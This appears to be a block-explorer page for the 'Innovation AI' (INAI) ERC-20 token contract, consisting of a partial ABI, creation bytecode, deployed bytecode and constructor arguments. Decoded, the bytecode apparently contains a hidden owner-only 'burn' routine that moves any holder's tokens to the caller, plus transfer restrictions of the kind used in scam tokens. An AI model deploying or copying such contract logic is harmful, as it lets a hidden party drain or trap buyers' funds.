"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600d60c08190526c496e6e6f766174696f6e20414960981b60e090815262000031916009919062000627565b5060408051808201909152600480825263494e414960e01b60209092019182526200005f91600a9162000627565b50600b805460ff1916600990811790915562989680600c556000600d556002600e556200008e90600a620007e2565b6200009d90620186a0620007fa565b600f55600b54620000b39060ff16600a620007e2565b620000c290620186a0620007fa565b6010556000601255600b54620000dd9060ff16600a620007e2565b620000eb90611388620007fa565b601455600b54620001019060ff16600a620007e2565b6200010f906107d0620007fa565b6015553480156200011f57600080fd5b50604051620022ce380380620022ce833981016040819052620001429162000839565b60098054620001519062000871565b80601f01602080910402602001604051908101604052809291908181526020018280546200017f9062000871565b8015620001d05780601f10620001a457610100808354040283529160200191620001d0565b820191906000526020600020905b815481529060010190602001808311620001b257829003601f168201915b5050505050600a8054620001e49062000871565b80601f0160208091040260200160405190810160405280929190818152602001828054620002129062000871565b8015620002635780601f10620002375761010080835404028352916020019162000263565b820191906000526020600020905b8154815290600101906020018083116200024557829003601f168201915b505084516200027d93506006925060208601915062000627565b5080516200029390600790602084019062000627565b505050620002b0620002aa620004dc60201b60201c565b620004e0565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002ef57600080fd5b505afa15801562000304573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032a9190620008ae565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037357600080fd5b505afa15801562000388573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ae9190620008ae565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620003f757600080fd5b505af11580156200040c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004329190620008ae565b6001600160a01b031660a052600b5462000470903390620004589060ff16600a620007e2565b600c54620004679190620007fa565b60a05162000532565b6001600160a01b039081166080819052601180546001600160a01b031916938316939093178355600090815260136020526040808220805460ff1990811660019081179092553384528284208054821683179055945490931682529020805490921617905550620008e7565b3390565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166200058d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b600080546001600160a01b038086166001600160a01b0319928316178355600180549185169190921617905560058054849290620005cd908490620008cc565b90915550506001600160a01b0383166000818152600360209081526040808320805487019055518581527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b828054620006359062000871565b90600052602060002090601f016020900481019282620006595760008555620006a4565b82601f106200067457805160ff1916838001178555620006a4565b82800160010185558215620006a4579182015b82811115620006a457825182559160200191906001019062000687565b50620006b2929150620006b6565b5090565b5b80821115620006b25760008155600101620006b7565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000724578160001904821115620007085762000708620006cd565b808516156200071657918102915b93841c9390800290620006e8565b509250929050565b6000826200073d57506001620007dc565b816200074c57506000620007dc565b8160018114620007655760028114620007705762000790565b6001915050620007dc565b60ff841115620007845762000784620006cd565b50506001821b620007dc565b5060208310610133831016604e8410600b8410161715620007b5575081810a620007dc565b620007c18383620006e3565b8060001904821115620007d857620007d8620006cd565b0290505b92915050565b6000620007f360ff8416836200072c565b9392505050565b6000816000190483118215151615620008175762000817620006cd565b500290565b80516001600160a01b03811681146200083457600080fd5b919050565b600080604083850312156200084d57600080fd5b62000858836200081c565b915062000868602084016200081c565b90509250929050565b600181811c908216806200088657607f821691505b60208210811415620008a857634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215620008c157600080fd5b620007f3826200081c565b60008219821115620008e257620008e2620006cd565b500190565b60805160a0516119826200094c600039600081816102c501528181610bb401528181610bef01528181610c390152610e080152600081816101fe0152818161111d015281816111e501528181611214015281816113cb01526113f201526119826000f3fe6080604052600436106101855760003560e01c806375f0a874116100d1578063a9059cbb1161008a578063bb85c6d111610064578063bb85c6d114610489578063dd62ed3e146104a9578063f2fde38b146104c9578063f345bd85146104e957600080fd5b8063a9059cbb14610433578063aa4bde2814610453578063af8af6901461046957600080fd5b806375f0a8741461038a57806381bfdcca146103aa5780638c0b5e22146103ca5780638da5cb5b146103e057806395d89b41146103fe578063a457c2d71461041357600080fd5b8063395093511161013e5780636161eb18116101185780636161eb18146102fd578063677daa571461031f57806370a082311461033f578063715018a61461037557600080fd5b8063395093511461029357806349bd5a5e146102b3578063527ffabd146102e757600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461023857806323b872dd14610257578063313ce5671461027757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66104ff565b6040516101b3919061157c565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046115e6565b610591565b60405190151581526020016101b3565b3480156101f857600080fd5b506102207f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101b3565b34801561024457600080fd5b506005545b6040519081526020016101b3565b34801561026357600080fd5b506101dc610272366004611612565b6105a9565b34801561028357600080fd5b50604051600981526020016101b3565b34801561029f57600080fd5b506101dc6102ae3660046115e6565b6105cd565b3480156102bf57600080fd5b506102207f000000000000000000000000000000000000000000000000000000000000000081565b3480156102f357600080fd5b50610249600e5481565b34801561030957600080fd5b5061031d6103183660046115e6565b6105ef565b005b34801561032b57600080fd5b506101dc61033a366004611653565b610745565b34801561034b57600080fd5b5061024961035a36600461166c565b6001600160a01b031660009081526003602052604090205490565b34801561038157600080fd5b5061031d610758565b34801561039657600080fd5b50601154610220906001600160a01b031681565b3480156103b657600080fd5b506101dc6103c5366004611653565b61076c565b3480156103d657600080fd5b50610249600f5481565b3480156103ec57600080fd5b506008546001600160a01b0316610220565b34801561040a57600080fd5b506101a661077f565b34801561041f57600080fd5b506101dc61042e3660046115e6565b61078e565b34801561043f57600080fd5b506101dc61044e3660046115e6565b610809565b34801561045f57600080fd5b5061024960105481565b34801561047557600080fd5b506101dc610484366004611690565b610817565b34801561049557600080fd5b506101dc6104a436600461166c565b6108a4565b3480156104b557600080fd5b506102496104c43660046116b2565b6108ee565b3480156104d557600080fd5b5061031d6104e436600461166c565b610919565b3480156104f557600080fd5b50610249600d5481565b60606006805461050e906116eb565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906116eb565b80156105875780601f1061055c57610100808354040283529160200191610587565b820191906000526020600020905b81548152906001019060200180831161056a57829003601f168201915b5050505050905090565b60003361059f818585610992565b5060019392505050565b6000336105b7858285610aae565b6105c2858585610b28565b506001949350505050565b60003361059f8185856105e083836108ee565b6105ea919061173c565b610992565b6000546001600160a01b0316331461060657600080fd5b6001600160a01b03821661066b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6001600160a01b038216600090815260036020526040902054818110156106df5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610662565b6001600160a01b038316600081815260036020908152604080832086860390553380845292819020805487019055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b600061074f610f6f565b50600f55600190565b610760610f6f565b61076a6000610fc9565b565b6000610776610f6f565b50601055600190565b60606007805461050e906116eb565b6000338161079c82866108ee565b9050838110156107fc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610662565b6105c28286868403610992565b60003361059f818585610b28565b6000610821610f6f565b600a61082d838561173c565b11156108905760405162461bcd60e51b815260206004820152602c60248201527f45524332303a20746f74616c20746178206d757374206e6f742062652067726560448201526b061746572207468616e2031360a41b6064820152608401610662565b50600d91909155600e556000601255600190565b6011546000906001600160a01b031633146108be57600080fd5b50600280546001600160a01b039092166001600160a01b0319928316811790915560118054909216179055600190565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610921610f6f565b6001600160a01b0381166109865760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610662565b61098f81610fc9565b50565b6001600160a01b0383166109f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610662565b6001600160a01b038216610a555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610662565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610738565b6000610aba84846108ee565b90506000198114610b225781811015610b155760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610662565b610b228484848403610992565b50505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260040161066290611754565b6001600160a01b038216610b745760405162461bcd60e51b815260040161066290611799565b80610b94846001600160a01b031660009081526003602052604090205490565b1015610bb25760405162461bcd60e51b8152600401610662906117dc565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161480610c2357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316145b8015610c32575060165460ff16155b15610f5f577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614610d4357601254306000908152600360205260408120549091610c8e91611822565b90506014548110610ca457610ca460145461101b565b60155460125410610d4157610cba6015546110b9565b60155460126000828254610cce9190611822565b90915550506011546040516000916001600160a01b0316904780156108fc029184818181858888f19350505050905080610d3f5760405162461bcd60e51b815260206004820152601260248201527108cc2d2d8cac840e8de40e6cadcc8408aa8960731b6044820152606401610662565b505b505b6001600160a01b03831660009081526013602052604081205460ff1680610d8257506001600160a01b03831660009081526013602052604090205460ff165b15610d8e575080610f54565b600f54821115610e065760405162461bcd60e51b815260206004820152603960248201527f45524332303a207472616e7366657220616d6f756e742065786365656473207460448201527f6865206d6178207472616e73616374696f6e20616d6f756e74000000000000006064820152608401610662565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03161415610ed3576010546001600160a01b038416600090815260036020526040902054610e66908461173c565b1115610ed35760405162461bcd60e51b815260206004820152603660248201527f45524332303a2062616c616e636520616d6f756e74206578636565646564206d604482015275185e081dd85b1b195d08185b5bdd5b9d081b1a5b5a5d60521b6064820152608401610662565b60006064600e5484610ee59190611839565b610eef9190611858565b905060006064600d5485610f039190611839565b610f0d9190611858565b9050610f19818361173c565b610f239085611822565b92508160126000828254610f37919061173c565b90915550610f5190508630610f4c848661173c565b6112aa565b50505b610b228484836112aa565b610f6a8383836112aa565b505050565b6008546001600160a01b0316331461076a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610662565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6016805460ff191660011790556000611035600283611858565b905060006110438284611822565b90504761104f836110b9565b600061105b8247611822565b905061106783826113b8565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff19169055505050565b6016805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fb576110fb61187a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117457600080fd5b505afa158015611188573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ac9190611890565b816001815181106111bf576111bf61187a565b60200260200101906001600160a01b031690816001600160a01b03168152505061120a307f000000000000000000000000000000000000000000000000000000000000000084610992565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663791ac947836000843061124a4261012c61173c565b6040518663ffffffff1660e01b815260040161126a9594939291906118ad565b600060405180830381600087803b15801561128457600080fd5b505af1158015611298573d6000803e3d6000fd5b50506016805460ff1916905550505050565b6001600160a01b0383166112d05760405162461bcd60e51b815260040161066290611754565b6001600160a01b0382166112f65760405162461bcd60e51b815260040161066290611799565b6001600160a01b0383166000908152600360205260409020548181101561132f5760405162461bcd60e51b8152600401610662906117dc565b6001600160a01b0380851660009081526003602052604080822085850390559185168152208054830190556113658484846114e4565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113aa91815260200190565b60405180910390a350505050565b6016805460ff191660011790556113f0307f000000000000000000000000000000000000000000000000000000000000000084610992565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d7198230856000806114376008546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561149a57600080fd5b505af11580156114ae573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114d3919061191e565b50506016805460ff19169055505050565b610f6a8383836002546001600160a01b038481169116148061151357506002546001600160a01b038381169116145b1561151d57505050565b6002546001600160a01b0316158061154357506001546001600160a01b03838116911614155b8061155b57506000546001600160a01b038481169116145b8061157357506000546001600160a01b038381169116145b610f6a57600080fd5b600060208083528351808285015260005b818110156115a95785810183015185820160400152820161158d565b818111156115bb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461098f57600080fd5b600080604083850312156115f957600080fd5b8235611604816115d1565b946020939093013593505050565b60008060006060848603121561162757600080fd5b8335611632816115d1565b92506020840135611642816115d1565b929592945050506040919091013590565b60006020828403121561166557600080fd5b5035919050565b60006020828403121561167e57600080fd5b8135611689816115d1565b9392505050565b600080604083850312156116a357600080fd5b50508035926020909101359150565b600080604083850312156116c557600080fd5b82356116d0816115d1565b915060208301356116e0816115d1565b809150509250929050565b600181811c908216806116ff57607f821691505b6020821081141561172057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561174f5761174f611726565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60008282101561183457611834611726565b500390565b600081600019048311821515161561185357611853611726565b500290565b60008261187557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156118a257600080fd5b8151611689816115d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118fd5784516001600160a01b0316835293830193918301916001016118d8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561193357600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122098fe7e6c9566c1d59232e6e33ca3e449a80e23ca1934e19bf09dd95670bad32464736f6c634300080900330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c50acb8a465ad1b2deddea6c56dc0fd58d0f579d

Deployed Bytecode

0x6080604052600436106101855760003560e01c806375f0a874116100d1578063a9059cbb1161008a578063bb85c6d111610064578063bb85c6d114610489578063dd62ed3e146104a9578063f2fde38b146104c9578063f345bd85146104e957600080fd5b8063a9059cbb14610433578063aa4bde2814610453578063af8af6901461046957600080fd5b806375f0a8741461038a57806381bfdcca146103aa5780638c0b5e22146103ca5780638da5cb5b146103e057806395d89b41146103fe578063a457c2d71461041357600080fd5b8063395093511161013e5780636161eb18116101185780636161eb18146102fd578063677daa571461031f57806370a082311461033f578063715018a61461037557600080fd5b8063395093511461029357806349bd5a5e146102b3578063527ffabd146102e757600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461023857806323b872dd14610257578063313ce5671461027757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66104ff565b6040516101b3919061157c565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046115e6565b610591565b60405190151581526020016101b3565b3480156101f857600080fd5b506102207f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016101b3565b34801561024457600080fd5b506005545b6040519081526020016101b3565b34801561026357600080fd5b506101dc610272366004611612565b6105a9565b34801561028357600080fd5b50604051600981526020016101b3565b34801561029f57600080fd5b506101dc6102ae3660046115e6565b6105cd565b3480156102bf57600080fd5b506102207f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed281565b3480156102f357600080fd5b50610249600e5481565b34801561030957600080fd5b5061031d6103183660046115e6565b6105ef565b005b34801561032b57600080fd5b506101dc61033a366004611653565b610745565b34801561034b57600080fd5b5061024961035a36600461166c565b6001600160a01b031660009081526003602052604090205490565b34801561038157600080fd5b5061031d610758565b34801561039657600080fd5b50601154610220906001600160a01b031681565b3480156103b657600080fd5b506101dc6103c5366004611653565b61076c565b3480156103d657600080fd5b50610249600f5481565b3480156103ec57600080fd5b506008546001600160a01b0316610220565b34801561040a57600080fd5b506101a661077f565b34801561041f57600080fd5b506101dc61042e3660046115e6565b61078e565b34801561043f57600080fd5b506101dc61044e3660046115e6565b610809565b34801561045f57600080fd5b5061024960105481565b34801561047557600080fd5b506101dc610484366004611690565b610817565b34801561049557600080fd5b506101dc6104a436600461166c565b6108a4565b3480156104b557600080fd5b506102496104c43660046116b2565b6108ee565b3480156104d557600080fd5b5061031d6104e436600461166c565b610919565b3480156104f557600080fd5b50610249600d5481565b60606006805461050e906116eb565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906116eb565b80156105875780601f1061055c57610100808354040283529160200191610587565b820191906000526020600020905b81548152906001019060200180831161056a57829003601f168201915b5050505050905090565b60003361059f818585610992565b5060019392505050565b6000336105b7858285610aae565b6105c2858585610b28565b506001949350505050565b60003361059f8185856105e083836108ee565b6105ea919061173c565b610992565b6000546001600160a01b0316331461060657600080fd5b6001600160a01b03821661066b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6001600160a01b038216600090815260036020526040902054818110156106df5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610662565b6001600160a01b038316600081815260036020908152604080832086860390553380845292819020805487019055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b600061074f610f6f565b50600f55600190565b610760610f6f565b61076a6000610fc9565b565b6000610776610f6f565b50601055600190565b60606007805461050e906116eb565b6000338161079c82866108ee565b9050838110156107fc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610662565b6105c28286868403610992565b60003361059f818585610b28565b6000610821610f6f565b600a61082d838561173c565b11156108905760405162461bcd60e51b815260206004820152602c60248201527f45524332303a20746f74616c20746178206d757374206e6f742062652067726560448201526b061746572207468616e2031360a41b6064820152608401610662565b50600d91909155600e556000601255600190565b6011546000906001600160a01b031633146108be57600080fd5b50600280546001600160a01b039092166001600160a01b0319928316811790915560118054909216179055600190565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610921610f6f565b6001600160a01b0381166109865760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610662565b61098f81610fc9565b50565b6001600160a01b0383166109f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610662565b6001600160a01b038216610a555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610662565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610738565b6000610aba84846108ee565b90506000198114610b225781811015610b155760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610662565b610b228484848403610992565b50505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260040161066290611754565b6001600160a01b038216610b745760405162461bcd60e51b815260040161066290611799565b80610b94846001600160a01b031660009081526003602052604090205490565b1015610bb25760405162461bcd60e51b8152600401610662906117dc565b7f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed26001600160a01b0316836001600160a01b03161480610c2357507f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed26001600160a01b0316826001600160a01b0316145b8015610c32575060165460ff16155b15610f5f577f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed26001600160a01b0316836001600160a01b031614610d4357601254306000908152600360205260408120549091610c8e91611822565b90506014548110610ca457610ca460145461101b565b60155460125410610d4157610cba6015546110b9565b60155460126000828254610cce9190611822565b90915550506011546040516000916001600160a01b0316904780156108fc029184818181858888f19350505050905080610d3f5760405162461bcd60e51b815260206004820152601260248201527108cc2d2d8cac840e8de40e6cadcc8408aa8960731b6044820152606401610662565b505b505b6001600160a01b03831660009081526013602052604081205460ff1680610d8257506001600160a01b03831660009081526013602052604090205460ff165b15610d8e575080610f54565b600f54821115610e065760405162461bcd60e51b815260206004820152603960248201527f45524332303a207472616e7366657220616d6f756e742065786365656473207460448201527f6865206d6178207472616e73616374696f6e20616d6f756e74000000000000006064820152608401610662565b7f000000000000000000000000eb8b78294fcf05912e87bce2cb4b14194a3a2ed26001600160a01b0316846001600160a01b03161415610ed3576010546001600160a01b038416600090815260036020526040902054610e66908461173c565b1115610ed35760405162461bcd60e51b815260206004820152603660248201527f45524332303a2062616c616e636520616d6f756e74206578636565646564206d604482015275185e081dd85b1b195d08185b5bdd5b9d081b1a5b5a5d60521b6064820152608401610662565b60006064600e5484610ee59190611839565b610eef9190611858565b905060006064600d5485610f039190611839565b610f0d9190611858565b9050610f19818361173c565b610f239085611822565b92508160126000828254610f37919061173c565b90915550610f5190508630610f4c848661173c565b6112aa565b50505b610b228484836112aa565b610f6a8383836112aa565b505050565b6008546001600160a01b0316331461076a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610662565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6016805460ff191660011790556000611035600283611858565b905060006110438284611822565b90504761104f836110b9565b600061105b8247611822565b905061106783826113b8565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff19169055505050565b6016805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fb576110fb61187a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117457600080fd5b505afa158015611188573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ac9190611890565b816001815181106111bf576111bf61187a565b60200260200101906001600160a01b031690816001600160a01b03168152505061120a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610992565b6001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663791ac947836000843061124a4261012c61173c565b6040518663ffffffff1660e01b815260040161126a9594939291906118ad565b600060405180830381600087803b15801561128457600080fd5b505af1158015611298573d6000803e3d6000fd5b50506016805460ff1916905550505050565b6001600160a01b0383166112d05760405162461bcd60e51b815260040161066290611754565b6001600160a01b0382166112f65760405162461bcd60e51b815260040161066290611799565b6001600160a01b0383166000908152600360205260409020548181101561132f5760405162461bcd60e51b8152600401610662906117dc565b6001600160a01b0380851660009081526003602052604080822085850390559185168152208054830190556113658484846114e4565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113aa91815260200190565b60405180910390a350505050565b6016805460ff191660011790556113f0307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610992565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806114376008546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561149a57600080fd5b505af11580156114ae573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114d3919061191e565b50506016805460ff19169055505050565b610f6a8383836002546001600160a01b038481169116148061151357506002546001600160a01b038381169116145b1561151d57505050565b6002546001600160a01b0316158061154357506001546001600160a01b03838116911614155b8061155b57506000546001600160a01b038481169116145b8061157357506000546001600160a01b038381169116145b610f6a57600080fd5b600060208083528351808285015260005b818110156115a95785810183015185820160400152820161158d565b818111156115bb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461098f57600080fd5b600080604083850312156115f957600080fd5b8235611604816115d1565b946020939093013593505050565b60008060006060848603121561162757600080fd5b8335611632816115d1565b92506020840135611642816115d1565b929592945050506040919091013590565b60006020828403121561166557600080fd5b5035919050565b60006020828403121561167e57600080fd5b8135611689816115d1565b9392505050565b600080604083850312156116a357600080fd5b50508035926020909101359150565b600080604083850312156116c557600080fd5b82356116d0816115d1565b915060208301356116e0816115d1565b809150509250929050565b600181811c908216806116ff57607f821691505b6020821081141561172057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561174f5761174f611726565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60008282101561183457611834611726565b500390565b600081600019048311821515161561185357611853611726565b500290565b60008261187557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156118a257600080fd5b8151611689816115d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118fd5784516001600160a01b0316835293830193918301916001016118d8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561193357600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122098fe7e6c9566c1d59232e6e33ca3e449a80e23ca1934e19bf09dd95670bad32464736f6c63430008090033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

